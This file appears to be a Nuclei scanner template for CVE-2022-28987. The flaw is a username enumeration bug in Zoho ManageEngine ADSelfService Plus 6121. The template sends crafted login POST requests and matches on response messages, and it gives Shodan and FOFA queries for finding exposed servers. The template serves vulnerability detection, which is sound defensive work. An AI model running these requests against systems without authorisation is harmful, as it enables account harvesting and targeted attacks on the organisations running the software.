id: CVE-2022-28987

info:
  name: Zoho ManageEngine ADSelfService Plus 6121 - Username Enumeration
  author: ritikchaddha
  severity: medium
  description: |
    Zoho ManageEngine ADSelfService Plus 6121 is vulnerable to username enumeration (CVE-2022-28987). The Forgot Password functionality responds differently for existing and non-existing users, allowing attackers to enumerate valid usernames.
  impact: |
    Attackers can enumerate valid usernames, aiding targeted attacks or account harvesting.
  remediation: |
    Update to version 6202 or later.
  reference:
    - https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28987
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-28987
    epss-score: 0.09705
    epss-percentile: 0.94897
    cwe-id: CWE-203
  metadata:
    max-request: 2
    verified: false
    shodan-query: http.title:"ADSelfService Plus"
    fofa-query: title="ADSelfService Plus"
  tags: cve,cve2022,zoho,manageengine,user-enum,adselfservice,vkev

http:
  - raw:
      - |
        POST /ServletAPI/accounts/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginName=asdfnonexistent

      - |
        POST /ServletAPI/accounts/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginName=Guest

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "eSTATUS\":\"Permission Denied")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains(body, "eSTATUS\":\"Your account has been disabled")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022046c617037422c1cefd79d24e53c575f9a71f8ad44b36b324836d3f49f1346e4f022100ae71694e1daa7c3c5a5def780017b2d380baf8e24cd373cc3905f89d5c002744:922c64590222798bb761d5b6d8e72950